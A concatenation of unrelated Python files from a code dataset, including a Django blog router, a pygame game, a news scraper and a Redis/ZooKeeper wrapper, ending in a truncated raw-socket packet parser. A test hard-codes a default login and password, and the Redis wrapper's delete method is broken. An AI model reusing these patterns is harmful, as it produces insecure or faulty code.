c\n\n","sub_path":"Utilitaire/Evaluateur_Precision.py","file_name":"Evaluateur_Precision.py","file_ext":"py","file_size_in_byte":3501,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"371284359","text":"from django.urls import path\nfrom rest_framework.urlpatterns import format_suffix_patterns\nfrom . import views\n\nurlpatterns = [\n path('blog/', views.BlogView.as_view(), name='blog_list'),\n path('blog//', views.BlogDetailView.as_view(), name='blog_details'),\n path('user_blogs/', views.UserBlogs.as_view(), name='user_blogs'),\n path('users/', views.UserList, name = 'user-create'),\n path('users//', views.getUser, name = 'users_username'),\n path('user-id//', views.getUserWithID, name = 'user_id'),\n path('create-user/', views.createUser, name='create-user'),\n path('login/', views.login, name='login'),\n path('logout/', views.logout, name = 'logout'),\n]\n\nurlpatterns = format_suffix_patterns(urlpatterns)\n","sub_path":"blogbackend/blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":785,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"376472760","text":"#! /usr/bin/env python\n'''Ludum Dare 25\n\tTheme: You Are the Villian\n\tAuthors: Jamie Brewer, Brian Jones\n\t12/14/2012\n\t'''\n\t\nimport os, sys, random\n\nfrom logging import log, control_logging\ncontrol_logging({'enable':True})\n\nimport pygame\nfrom pygame.locals import *\nimport tiledtmxloader\n\n#useful globals\n#DEFAULT_FONT = None\nGAME_TITLE = 'Mr. Fluffykins'\nMAX_FRAME_RATE = 30\nTILE_SIZE = 32 #pixels\nSCREEN_WIDTH = 1024\nSCREEN_HEIGHT = 576\n\ndef init_render(renderer):\n\t'''Setup the screen for rendering loop to fill in each cycle'''\n\n\trenderer.set_camera_position_and_size(0,0,SCREEN_WIDTH, SCREEN_HEIGHT, \"topleft\")\n\t\ndef main():\n\t''' The Game '''\n\t#global DEFAULT_FONT\n\n\n\t# init pygame itself\n\tpygame.init()\n\t#DEFAULT_FONT = pygame.font.Font(\"../fonts/DejaVuSans.ttf\", 14)\n\n\t# Display preamble\n\tscreen = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT))\n\tpygame.display.set_caption( GAME_TITLE )\n\t#background = pygame.Surface(screen.get_size()).convert()\n\n\t# integrate the map resources through pygame\n\trenderer = tiledtmxloader.helperspygame.RendererPygame()\n\tinit_render(renderer)\n\n\t# the main loop\n\tclock = pygame.time.Clock()\n\twhile not GameState.should_exit_game_loop:\n\t\tclock.tick(MAX_FRAME_RATE)\n\t\tfor event in pygame.event.get():\n\t\t\tGameState.current_state.event_handler(event)\n\t\tGameState.current_state.render(clock, screen, renderer)\n\t\t\t\n\t\nfrom level import get_current_level, set_current_level_starting\nfrom states import GameState\n\nif __name__ == \"__main__\":\n\tmain()\n","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1484,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"395929471","text":"# third party\nimport numpy as np\nimport pytest\n\ntry:\n # third party\n import tensorflow as tf\n import tensorflow_federated as tff\nexcept Exception:\n print(\"TFF not enabled\")\n\n# syft absolute\nimport syft as sy\n\n\ndef create_keras_model():\n return tf.keras.models.Sequential(\n [\n tf.keras.layers.InputLayer(input_shape=(100,)),\n tf.keras.layers.Dense(10, kernel_initializer=\"zeros\"),\n tf.keras.layers.Softmax(),\n ]\n )\n\n\ndef load_dataset(domain):\n data_subject = \"Test\"\n\n train_data = np.random.randint(256, size=(1, 100))\n label_data = np.array([0])\n\n train_image_data = sy.Tensor(train_data).annotate_with_dp_metadata(\n lower_bound=0, upper_bound=255, data_subject=data_subject\n )\n train_label_data = sy.Tensor(label_data).annotate_with_dp_metadata(\n lower_bound=0, upper_bound=5, data_subject=data_subject\n )\n\n domain.load_dataset(\n name=\"Test\",\n assets={\"images\": train_image_data, \"labels\": train_label_data},\n description=\"Small dataset for TFF testing\",\n )\n\n\n@pytest.mark.tff\ndef test_tff():\n assert tff.federated_computation(lambda: \"Hello World\")() == b\"Hello World\"\n\n\n@pytest.mark.tff\ndef test_training():\n domain = sy.old_login(email=\"info@openmined.org\", password=\"changethis\", port=9081)\n load_dataset(domain)\n\n # Set params\n model_fn = create_keras_model\n params = {\n \"rounds\": 1,\n \"no_clients\": 5,\n \"noise_multiplier\": 0.05,\n \"clients_per_round\": 2,\n \"train_data_id\": domain.datasets[0][\"images\"].id_at_location.to_string(),\n \"label_data_id\": domain.datasets[0][\"labels\"].id_at_location.to_string(),\n }\n model, _ = sy.tff.train_model(model_fn, params, domain)\n\n # Check Results\n l1 = model.layers\n l2 = create_keras_model().layers\n assert [type(x) for x in l1] == [type(x) for x in l2]\n","sub_path":"tests/integration/tff/training_test.py","file_name":"training_test.py","file_ext":"py","file_size_in_byte":1901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"17810016","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Sep 4 00:22:27 2019\r\n\r\n@author: N7Raf\r\n\"\"\"\r\n\r\nimport numpy as np\r\nimport pandas as pd\r\nimport seaborn as sns\r\nimport matplotlib.pyplot as plt\r\n\r\ndigimon = pd.read_csv(\"C:/Users/N7Raf/Desktop/Digimon/Repositorio/digimonlist.csv\")\r\nmoves = pd.read_csv(\"C:/Users/N7Raf/Desktop/Digimon/Repositorio/movelist.csv\")\r\nsupport = pd.read_csv(\"C:/Users/N7Raf/Desktop/Digimon/Repositorio/supportlist.csv\")\r\n\r\nprint(digimon.columns)\r\n\r\ndigimonAnD = digimon[['Digimon', 'Lv50 Atk', 'Lv50 Def']]\r\n\r\ndigimonA = digimonAnD.sort_values('Lv50 Atk', ascending=False)\r\ndigimonAt = digimonA.reset_index().drop(columns='index')\r\nAttack = digimonAt.loc[0:2,:]\r\nprint(Attack)\r\n\r\nplt.bar(Attack['Digimon'],Attack['Lv50 Atk'])\r\nplt.xlabel('Digimon')\r\nplt.ylabel('Attack')\r\nplt.savefig(\"C:/Users/N7Raf/Desktop/Digimon/Repositorio/Highest Attack and Defense/Attack.png\")\r\nplt.show()\r\n\r\nAttack.to_csv(\"C:/Users/N7Raf/Desktop/Digimon/Repositorio/Highest Attack and Defense/Attack.csv\")\r\n\r\ndigimonD = digimonAnD.sort_values('Lv50 Def', ascending=False)\r\ndigimonDe = digimonD.reset_index().drop(columns='index')\r\nDefense = digimonDe.loc[0:2,:]\r\nprint(Defense)\r\n\r\nplt.bar(Defense['Digimon'],Defense['Lv50 Def'])\r\nplt.xlabel('Digimon')\r\nplt.ylabel('Defense')\r\nplt.savefig(\"C:/Users/N7Raf/Desktop/Digimon/Repositorio/Highest Attack and Defense/Defense.png\")\r\nplt.show()\r\n\r\nDefense.to_csv(\"C:/Users/N7Raf/Desktop/Digimon/Repositorio/Highest Attack and Defense/Defense.csv\")","sub_path":"Highest Attack and Defense/Highest Attack and Defense.py","file_name":"Highest Attack and Defense.py","file_ext":"py","file_size_in_byte":1482,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"236814313","text":"# cook your dish here\nimport sys\nimport math\n\ndef solve():\n\ttry:\n\t\tn=int(input())\n\texcept:\n\t\tpass\n\tl1 = []\n\tl1 = list(map(int,input().split()))\n#\tfor i in range(len(l1)):\n#\t\tprint(l1[i])\n\tl2=sorted(l1)\n#\tprint(l1)\n#\tprint(l2)\n\t\n\tj=0\n\tl3=sorted(set(l1))\n#\tprint(l3)\n\tflag = len(set(l1)) == len(l1)\n#\tprint(\"flag=\"+str(flag))\n\n\tif(flag):\n\t\tprint(\"YES\")\n\t\tfor j in range(len(l2)):\n\t\t\tprint(l2[j],end=' ') \n\t\tprint()\n\telse:\n\t\tcounter=0\n\t\tk=0\n\t\twhile(k<(len(l2)-1)):\n\t\t\tif(l2[k]==l2[k+1]):\n\t\t\t\tk+=2\n\t\t\telse:\n\t\t\t\tcounter=1\n\t\t\t\tbreak\t\n\t\t\t\n\t\tif(counter==1):\n\t\t\tprint(\"NO\")\t\n\t\telse:\n\t\t\tprint(\"YES\")\n\t\t\tif(len(l3)==1):\n\t\t\t\tprint(\"NO\")\n\t\t\t\t\n\t\t\telse:\n\t\t\t\tprint(\"YES\")\n\t\t\t\tif(len(l3)%2==0):\n\t\t\t\t\tfor l in range(len(l3)):\n\t\t\t\t\t\tprint(l3[l],end=' ')\n\t\t\t\t\tl=len(l3)-1\n\t\t\t\t\twhile(l>=0):\n\t\t\t\t\t\tprint(l3[l],end=' ')\n\t\t\t\t\t\tl-=1\n\t\t\t\t\tprint()\n\t\t\t\telse:\n\t\t\t\t\tfor l in range(len(l3)-1):\n\t\t\t\t\t\tprint(l3[l],end=' ')\n\t\t\t\t\tprint(l3[len(l3)-1],end=' ')\n\t\t\t\t\tl=len(l3)-2\n\t\t\t\t\twhile(l>=0):\n\t\t\t\t\t\tprint(l3[l],end=' ')\n\t\t\t\t\t\tl-=1\n\t\t\t\t\tprint()\t\t\n\n\n\ntry:\n\tfor tc in range(int(input())):\n\t\tsolve()\nexcept:\n\tpass\n","sub_path":"Code_practice/june_lunch_3.py","file_name":"june_lunch_3.py","file_ext":"py","file_size_in_byte":1076,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"320044850","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport os\nimport sys\nimport json\nimport logging\nimport redis\nimport zookeeper\nfrom env import Env\nsys.path.append(os.path.abspath(os.path.dirname(__file__)) + '/../../../python')\n\n\nclass RedisConns(object):\n zkHandler = zookeeper.init(Env().zookeeper_dbs())\n\n def __init__(self, cluster):\n self.cluster = cluster\n self.znode = '/redis_failover/' + cluster\n self.host = None\n self.port = None\n self.conns = {}\n\n def _db(self, db):\n if db not in self.conns:\n logging.info(\"[RedisConns %s] _db: init db[%d]\" % (self.cluster, db))\n\n if self.host == None or self.port == None:\n self._conf_host_and_port_from_zk()\n\n self.conns[db] = redis.StrictRedis(host=self.host, port=self.port, db=db)\n\n return self.conns[db]\n\n def _zk_watch(self, handler, type, state, path):\n logging.info(\"[RedisConns %s] _zk_watch: type[%d], state[%d], path[%s]\" % (self.cluster, type, state, path))\n\n if path == self.znode and type == 3:\n logging.info(\"[RedisConns %s] _zk_watch: zkvalue changed!\" % self.cluster)\n\n changed = self._conf_host_and_port_from_zk()\n if changed:\n dbs = self.conns.keys()\n logging.info(\"[RedisConns %s] _zk_watch: host or port changed. Refresh all conns [%s] ...\" % (self.cluster, str(dbs)))\n\n for db in dbs:\n self.conns[db] = redis.StrictRedis(host=self.host, port=self.port, db=db)\n\n logging.info(\"[RedisConns %s] _zk_watch: Refresh conns OK!\" % self.cluster)\n\n def _conf_host_and_port_from_zk(self):\n logging.info(\"[RedisConns %s] _conf_host_and_port_from_zk: begin...\" % self.cluster)\n\n zk_value = zookeeper.get(RedisConns.zkHandler, self.znode, self._zk_watch)\n\n json_value = json.loads(zk_value[0])\n params = json_value['master'].split(':')\n new_host = params[0]\n new_port = int(params[1])\n\n changed = self.host != new_host or self.port != new_port\n if changed:\n self.host = new_host\n self.port = new_port\n\n logging.info(\"[RedisConns %s] _conf_host_and_port_from_zk: changed[%s]. host[%s], port[%d]\" % (self.cluster, changed, new_host, new_port))\n\n return changed\n\n \"\"\"\n implements StrictRedis's methods\n \"\"\"\n\n def get(self, db, key):\n return self._db(db).get(key)\n\n def set(self, db, name, value, ex=None, px=None, nx=False, xx=False):\n return self._db(db).set(name, value, ex, px, nx, xx)\n\n def hset(self, db, name, key, value):\n return self._db(db).hset(name, key, value)\n\n def delete(self, db, *names):\n return self._db(db, *names)\n","sub_path":"helpers/redis_conns.py","file_name":"redis_conns.py","file_ext":"py","file_size_in_byte":2769,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"377531549","text":"import tornado.web\nimport tornado.ioloop\nimport tornado.options\n\ntornado.options.define(\n \"port\", default=8888, help=\"run on the given port\", type=int)\n\n\nclass MainHandler(tornado.web.RequestHandler):\n\n def get(self):\n self.write(\"You requested the main page\")\n\n\nclass StoryHandler(tornado.web.RequestHandler):\n\n def get(self, story_id):\n self.write(\"You requested the story \" + story_id)\n\n\nclass TestHandler(tornado.web.RequestHandler):\n\n def get(self):\n self.write(\"You have been redirected\")\n\napplication = tornado.web.Application([\n (r\"/\", MainHandler),\n (r\"/story/([0-9]+)\", StoryHandler),\n (r\"/bar\", TestHandler),\n (r\"/foo\", tornado.web.RedirectHandler,\n {\"url\": \"/bar\", \"permanent\": False}),\n])\n\nif __name__ == \"__main__\":\n application.listen(tornado.options.options.port)\n tornado.ioloop.IOLoop.instance().start()\n","sub_path":"web/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":877,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"602780897","text":"import os\r\nimport shutil\r\nimport traceback\r\n#f = open(r'C:\\Users\\UserName\\Desktop\\test.json','r',encoding=\"utf-8\")\r\n\r\ntry:\r\n FROMDIR = 'C:/tmp/aa/'\r\n TODIR = 'C:/tmp/bb/'\r\n \r\n files = os.listdir(FROMDIR)\r\n for f in files:\r\n shutil.copy (FROMDIR + f, TODIR + f)\r\n str = 'abc_de' \r\n l = list(str)\r\n print(str[0:l.index('_')])\r\nexcept:\r\n print((traceback.print_exc()))\r\n\r\n","sub_path":"copy.py","file_name":"copy.py","file_ext":"py","file_size_in_byte":411,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"248299725","text":"# !/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport xlrd\n\n# Specify sheet location\nworkbook_name = \"spit_study.xlsx\"\nsheet_name = \"SPITStudy_DATA_2018-07-15_2319\"\ncolumns_list = [(\"Patient Information:\", 35), (\"Questionares and Samples:\", 54), (\"Endoscopy Reports:\", 80), \\\n (\"Pathology Reports:\", 105), (\"Withdrawal Form:\", 113), (\"UCL Storage:\", 156)]\n\n\n# Open the sheet\nworkbook = xlrd.open_workbook(workbook_name, on_demand=True)\nsheet_number = workbook.sheet_names().index(sheet_name)\nsheet = workbook._sheet_list[sheet_number]\n\n\nif __name__ == '__main__':\n for column in columns_list:\n column_name, column_index = column\n\n # Read from underneath the heading\n values_list = sheet.col_values(column_index, 1)\n values_list = [x for x in values_list if x in [0, 1, 2]]\n zeros = values_list.count(0)\n ones = values_list.count(1)\n twos = values_list.count(2)\n\n print(column_name, \"There are\", zeros, \"incomplete,\", ones, \"unverified,\", \"and\", twos,\"complete\")\n\n\n","sub_path":"working.py","file_name":"working.py","file_ext":"py","file_size_in_byte":1040,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"94909745","text":"import requests\nimport csv\nimport os\nimport time\nimport sys\nimport codecs\nfrom bs4 import BeautifulSoup\n\nPAGE_LIMIT = 1\nCATAGORY_NAMES = ['lifestyle-receitas', 'lifestyle-fama', 'lifestyle-astrologia', 'lifestyle-saude',\n '24-atualidade', '24-economia', '24-desporto', '24-opiniao', '24-parceiro-lusa', '24-vida', '24-tecnologia',\n 'viagens',\n 'ao-actualidade', 'ao-desporto', 'ao-economia', 'ao-opiniao', 'ao-tecnologia',\n 'cv-actualidade', 'cv-desporto', 'cv-economia', 'cv-opinicv', 'cv-tecnologia',\n 'mz-actualidade', 'mz-desporto', 'mz-economia', 'mz-opinimz', 'mz-tecnologia']\n\nHOSTS = ['https://lifestyle.sapo.pt', 'https://lifestyle.sapo.pt', 'https://lifestyle.sapo.pt', 'https://lifestyle.sapo.pt',\n 'https://24.sapo.pt', 'https://24.sapo.pt', 'https://24.sapo.pt', 'https://24.sapo.pt', 'https://24.sapo.pt', 'https://24.sapo.pt', 'https://24.sapo.pt',\n 'https://viagens.sapo.pt',\n 'https://noticias.sapo.ao', 'https://noticias.sapo.ao', 'https://noticias.sapo.ao', 'https://noticias.sapo.ao', 'https://noticias.sapo.ao',\n 'https://noticias.sapo.cv', 'https://noticias.sapo.cv', 'https://noticias.sapo.cv', 'https://noticias.sapo.cv', 'https://noticias.sapo.cv',\n 'https://noticias.sapo.mz', 'https://noticias.sapo.mz', 'https://noticias.sapo.mz', 'https://noticias.sapo.mz', 'https://noticias.sapo.mz']\n\nURLS = ['https://lifestyle.sapo.pt/sabores/receitas', 'https://lifestyle.sapo.pt/fama/noticias-fama', 'https://lifestyle.sapo.pt/astral/astrologia', 'https://lifestyle.sapo.pt/saude/noticias-saude',\n 'https://24.sapo.pt/atualidade', 'https://24.sapo.pt/economia', 'https://24.sapo.pt/desporto', 'https://24.sapo.pt/opiniao', 'https://24.sapo.pt/parceiro/lusa', 'https://24.sapo.pt/vida', 'https://24.sapo.pt/tecnologia',\n 'https://viagens.sapo.pt/viajar/noticias-viajar',\n 'https://noticias.sapo.ao/actualidade', 'https://noticias.sapo.ao/desporto', 'https://noticias.sapo.ao/economia', 'https://noticias.sapo.ao/sociedade', 'https://noticias.sapo.ao/tecnologia',\n 'https://noticias.sapo.cv/actualidade', 'https://noticias.sapo.cv/desporto', 'https://noticias.sapo.cv/economia', 'https://noticias.sapo.cv/sociedade', 'https://noticias.sapo.ao/tecnologia',\n 'https://noticias.sapo.mz/actualidade', 'https://noticias.sapo.mz/desporto', 'https://noticias.sapo.mz/economia', 'https://noticias.sapo.mz/sociedade', 'https://noticias.sapo.ao/tecnologia']\n\nURL_PATTERNS = ['article.article.recipe... > a', 'div.[.tiny-25.small-25.medium-100.large-100.xlarge-100.].image-ctn > a', 'div.[.tiny-25.small-25.medium-100.large-100.xlarge-100.].image-ctn > a', 'div.[.tiny-25.small-25.medium-100.large-100.xlarge-100.].image-ctn > a',\n 'div.[.tiny-25.small-25.medium-100.large-100.xlarge-100.].image-ctn > a', 'div.[.tiny-25.small-25.medium-100.large-100.xlarge-100.].image-ctn > a', 'div.[.tiny-25.small-25.medium-100.large-100.xlarge-100.].image-ctn > a', 'div.[.tiny-25.small-25.medium-100.large-100.xlarge-100.].image-ctn > a', 'div.[.tiny-25.small-25.medium-100.large-100.xlarge-100.].image-ctn > a', 'div.[.tiny-25.small-25.medium-100.large-100.xlarge-100.].image-ctn > a', 'div.[.tiny-25.small-25.medium-100.large-100.xlarge-100.].image-ctn > a',\n 'div.[.tiny-25.small-25.medium-100.large-100.xlarge-100.].image-ctn > a',\n 'div.[.tiny-25.small-25.medium-100.large-100.xlarge-100.].image-ctn > a', 'div.[.tiny-25.small-25.medium-100.large-100.xlarge-100.].image-ctn > a', 'div.[.tiny-25.small-25.medium-100.large-100.xlarge-100.].image-ctn > a', 'div.[.tiny-25.small-25.medium-100.large-100.xlarge-100.].image-ctn > a', 'div.[.tiny-25.small-25.medium-100.large-100.xlarge-100.].image-ctn > a',\n 'div.[.tiny-25.small-25.medium-100.large-100.xlarge-100.].image-ctn > a', 'div.[.tiny-25.small-25.medium-100.large-100.xlarge-100.].image-ctn > a', 'div.[.tiny-25.small-25.medium-100.large-100.xlarge-100.].image-ctn > a', 'div.[.tiny-25.small-25.medium-100.large-100.xlarge-100.].image-ctn > a', 'div.[.tiny-25.small-25.medium-100.large-100.xlarge-100.].image-ctn > a',\n 'div.[.tiny-25.small-25.medium-100.large-100.xlarge-100.].image-ctn > a', 'div.[.tiny-25.small-25.medium-100.large-100.xlarge-100.].image-ctn > a', 'div.[.tiny-25.small-25.medium-100.large-100.xlarge-100.].image-ctn > a', 'div.[.tiny-25.small-25.medium-100.large-100.xlarge-100.].image-ctn > a', 'div.[.tiny-25.small-25.medium-100.large-100.xlarge-100.].image-ctn > a']\n\nTITLE_PATTERNS = ['h1.[.no-margin-bottom.].recipe-title', 'h1.[.no-margin-bottom.].article-title', 'h1.[.no-margin-bottom.].article-title', 'h1.[.no-margin-bottom.].article-title',\n 'h1.[.no-margin-bottom.].article-title', 'h1.[.no-margin-bottom.].article-title', 'h1.[.no-margin-bottom.].article-title', 'h1.[.no-margin-bottom.].article-title', 'h1.[.no-margin-bottom.].article-title', 'h1.[.no-margin-bottom.].article-title', 'h1.[.no-margin-bottom.].article-title',\n 'h1.[.no-margin-bottom.].article-title',\n 'h1.[.no-margin-bottom.].article-title', 'h1.[.no-margin-bottom.].article-title', 'h1.[.no-margin-bottom.].article-title', 'h1.[.no-margin-bottom.].article-title', 'h1.[.no-margin-bottom.].article-title',\n 'h1.[.no-margin-bottom.].article-title', 'h1.[.no-margin-bottom.].article-title', 'h1.[.no-margin-bottom.].article-title', 'h1.[.no-margin-bottom.].article-title', 'h1.[.no-margin-bottom.].article-title',\n 'h1.[.no-margin-bottom.].article-title', 'h1.[.no-margin-bottom.].article-title', 'h1.[.no-margin-bottom.].article-title', 'h1.[.no-margin-bottom.].article-title','h1.[.no-margin-bottom.].article-title']\n\nARTICLE_PATTERNS = ['p', 'p', 'p', 'p',\n 'p', 'p', 'p', 'p', 'p', 'p', 'p',\n 'p',\n 'p', 'p', 'p', 'p', 'p',\n 'p', 'p', 'p', 'p', 'p',\n 'p', 'p', 'p', 'p', 'p']\n\n\ndef get_response(url):\n response = ''\n fetched = False\n while not fetched:\n try:\n response = requests.get(url)\n fetched = True\n except requests.exceptions.ChunkedEncodingError:\n time.sleep(0.2)\n except requests.exceptions.ConnectionError:\n time.sleep(0.2)\n return response\n\n\ndef get_urls(n):\n update_needed = False\n create_needed = False\n update_date = '2000-01-01'\n page_limit = -1\n urls = []\n # If no csv exist, update needed\n # Else extract the update time of the csv file\n if os.path.exists(url_csv_name):\n with open(url_csv_name, 'r') as f:\n reader = csv.reader(f)\n line = next(reader)\n update_date = line[0]\n page_limit = int(line[1])\n for line in reader:\n urls.append(line[0])\n else:\n create_needed = True\n\n # If the update time is not today, update needed\n now_date = time.strftime('%Y-%m-%d', time.localtime(time.time()))\n if now_date != update_date or PAGE_LIMIT != page_limit:\n update_needed = True\n\n if create_needed:\n for page in range(1, PAGE_LIMIT+1):\n response = get_response(URLS[n] + '?pagina=' + str(page))\n soup = BeautifulSoup(response.text, features='lxml')\n a_s = soup.select(URL_PATTERNS[n])\n for a in a_s:\n url = HOSTS[n] + a['href']\n urls.append([url])\n with open(url_csv_name, 'w', newline='') as f:\n writer = csv.writer(f)\n writer.writerow([now_date, PAGE_LIMIT])\n writer.writerows(urls)\n\n elif update_needed:\n for page in range(1, PAGE_LIMIT+1):\n response = get_response(URLS[n] + '?pagina=' + str(page))\n if response.status_code != 200:\n break\n soup = BeautifulSoup(response.text, features='lxml')\n a_s = soup.select(URL_PATTERNS[n])\n for a in a_s:\n url = HOSTS[n] + a['href']\n if url not in urls:\n urls.append(url)\n else:\n break\n with open(url_csv_name, 'w', newline='') as f:\n writer = csv.writer(f)\n writer.writerow([now_date, PAGE_LIMIT])\n for url in urls:\n writer.writerow([url])\n\n\ndef parse_page(n, url):\n response = get_response(url)\n\n soup = BeautifulSoup(response.text, features='lxml')\n title = soup.select(TITLE_PATTERNS[n])\n if not title:\n title = ''\n else:\n title = title[0].contents[0]\n\n article = ''\n paras = soup.select(ARTICLE_PATTERNS[n])\n for para in paras:\n article += para.get_text()\n article += \" \"\n\n return [title, article]\n\n\ndef get_articles(n):\n content = []\n start_line = 0\n if os.path.exists(csv_name):\n with open(csv_name, 'r', encoding='utf-8', newline='') as f:\n reader = csv.reader(f)\n length = 0\n for line in reader:\n length += 1\n start_line = int((length/3))\n\n with open(url_csv_name, 'r') as f:\n reader = csv.reader(f)\n next(reader)\n for i in range(start_line):\n next(reader)\n cnt = 0\n for line in reader:\n content.append(parse_page(n, line[0]))\n if cnt % 10 == 0:\n with open(csv_name, 'a', newline='', encoding='utf-8') as f1:\n writer = csv.writer(f1)\n for line in content:\n writer.writerow(line)\n writer.writerow([])\n writer.writerow([])\n content = []\n\n\nif __name__ == '__main__':\n if len(sys.argv) != 2:\n print('Wrong arguments!')\n else:\n if not os.path.exists('./SAPO'):\n os.system('mkdir SAPO')\n os.chdir('SAPO')\n if not os.path.exists('./URL'):\n os.system('mkdir URL')\n if not os.path.exists('./CONTENTS'):\n os.system('mkdir CONTENTS')\n\n PAGE_LIMIT = int(sys.argv[1])\n print('Crawl ' + str(PAGE_LIMIT) + ' pages, start crawling...')\n for n in range(len(CATAGORY_NAMES)):\n url_csv_name = './URL/' + CATAGORY_NAMES[n] + '_url.csv'\n csv_name = './CONTENTS/' + CATAGORY_NAMES[n] + '.csv'\n print('Getting URLs of ' + CATAGORY_NAMES[n] + '...')\n get_urls(n)\n print('Successfully update URLs of ' + CATAGORY_NAMES[n] + '!')\n print('Start crawling ' + CATAGORY_NAMES[n] + '...')\n get_articles(n)\n print('Successfully crawled ' + CATAGORY_NAMES[n] + '!\\n')\n","sub_path":"sapo.py","file_name":"sapo.py","file_ext":"py","file_size_in_byte":10737,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"136169605","text":"\"\"\"\nAll tests for the skills library.\n\"\"\"\nimport unittest\n\nfrom game_code.factory import Factory\nfrom game_code.skills import HarshLanguage\n\n\nclass TestHarshLanguage(unittest.TestCase):\n def test_use_action_base_damage_using_social(self):\n harsh_language_skill = HarshLanguage(base_value=0, dice_quantity=0, dice_max=0)\n creature1 = Factory().create_creature(\n creature_class=\"goblin\", first_name=\"John\", second_name=\"Doe\", stat_values={\"social\": 5}\n )\n creature2 = Factory().create_creature(creature_class=\"goblin\", first_name=\"Charles\", second_name=\"Brown\")\n action = harsh_language_skill.use(creature1, creature2)\n self.assertEqual(5, action.damage())\n","sub_path":"game_code/skills/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":711,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"473388656","text":"import cv2\nimport numpy as np\n\n# Create window for image display\nCASCADE_FN = \"haarcascade_frontalface_default.xml\"\n\n# The scale used for face recognition.\n# It is important as the face recognition algorithm works better on small images\n# Also helps with removing faces that are too far away\nRESIZE_SCALE = 3\nRECTANGE_COLOUR = (255, 0, 0)\nTHICKNESS = 2\n\ndef getFaces(image):\n cascade = cv2.CascadeClassifier(CASCADE_FN)\n img_copy = cv2.resize(image, (image.shape[1]/RESIZE_SCALE,\n image.shape[0]/RESIZE_SCALE))\n gray = cv2.cvtColor(img_copy, cv2.COLOR_BGR2GRAY)\n gray = cv2.equalizeHist(gray)\n rects = cascade.detectMultiScale(gray)\n resized_rects = []\n for r in rects:\n new_r = map((lambda x: RESIZE_SCALE * x), r)\n resized_rects += [new_r]\n return resized_rects\n\ndef drawFaces(image, faces):\n for f in faces:\n x = f[0]\n w = f[1]\n y = f[2]\n h = f[3]\n cv2.rectangle(np.asarray(image), (x,y), (x + w, y + h), RECTANGE_COLOUR,\n thickness=THICKNESS)\n\ndef getAndDrawFaces(image, display=False):\n faces = getFaces(image)\n if display:\n drawFaces(image, faces)\n","sub_path":"faceRecognition.py","file_name":"faceRecognition.py","file_ext":"py","file_size_in_byte":1137,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"532232802","text":"#!/usr/bin/env python\n\nimport aoc\nfrom collections import defaultdict\n\n\ndef solve(inp: str):\n grid = defaultdict(bool)\n for x, line in enumerate(inp.splitlines()):\n for y, char in enumerate(line):\n grid[(x, y, 0, 0)] = char == '#'\n\n for _ in range(6):\n (min_x, max_x), \\\n (min_y, max_y), \\\n (min_z, max_z), \\\n (min_w, max_w) = aoc.min_max(grid.keys())\n\n new_grid = grid.copy()\n for x in range(min_x-1, max_x+2):\n for y in range(min_y-1, max_y+2):\n for z in range(min_z-1, max_z+2):\n for w in range(min_w-1, max_w+2):\n p = (x, y, z, w)\n active = grid[p]\n active_neighbors = sum(grid[n]\n for n in aoc.neighbors_cube4(p))\n if active and (active_neighbors < 2 or active_neighbors > 3):\n new_grid[p] = False\n if not active and active_neighbors == 3:\n new_grid[p] = True\n grid = new_grid\n\n print(sum(grid.values()))\n\n\n# with open('test.txt', 'r') as f:\n# inp = f.read()\n# solve(inp)\n\nwith open('input.txt', 'r') as f:\n inp = f.read()\n solve(inp)\n","sub_path":"2020/day-17/part2.py","file_name":"part2.py","file_ext":"py","file_size_in_byte":1305,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"625169336","text":"from multiprocessing import Process, Queue\nfrom multiprocessing import Manager,Pool\nimport os, time, random\n\ndef produce_task(q):\n while True:\n if not q.full():\n t=random.random()\n q.put(t)\n print('produce:%.2f' % t)\n time.sleep(t)\n else:\n print('stop produce!')\n break\n\ndef consume_task(q):\n while True:\n if not q.empty():\n t=q.get()\n print('consume:%.2f' % t)\n time.sleep(t)\n else:\n print('stop consume!')\n break\n\ndef process_test():\n q=Queue(5)\n p_produce=Process(target=produce_task,args=(q,))\n p_consume=Process(target=consume_task,args=(q,))\n p_produce.start()\n p_consume.start()\n p_produce.join()\n p_consume.join()\n print(\"Done!\")\n\ndef pool_test():\n q=Manager().Queue(5)\n p=Pool(2)\n p.apply_async(produce_task,(q,))\n p.apply_async(consume_task,(q,))\n p.close()\n p.join()\n print(\"Done!\")\n\nif __name__=='__main__':\n # process_test()\n pool_test()\n ","sub_path":"process-queue.py","file_name":"process-queue.py","file_ext":"py","file_size_in_byte":1060,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"173116926","text":"#! /usr/bin/env python3\n\nimport socket\nimport os\nimport struct\nimport sys\nimport IPy\nimport time\nfrom ctypes import *\n\n\nclass IP(Structure):\n _fields_ = [\n (\"ihl\", c_ubyte, 4),\n (\"versions\", c_ubyte, 4),\n 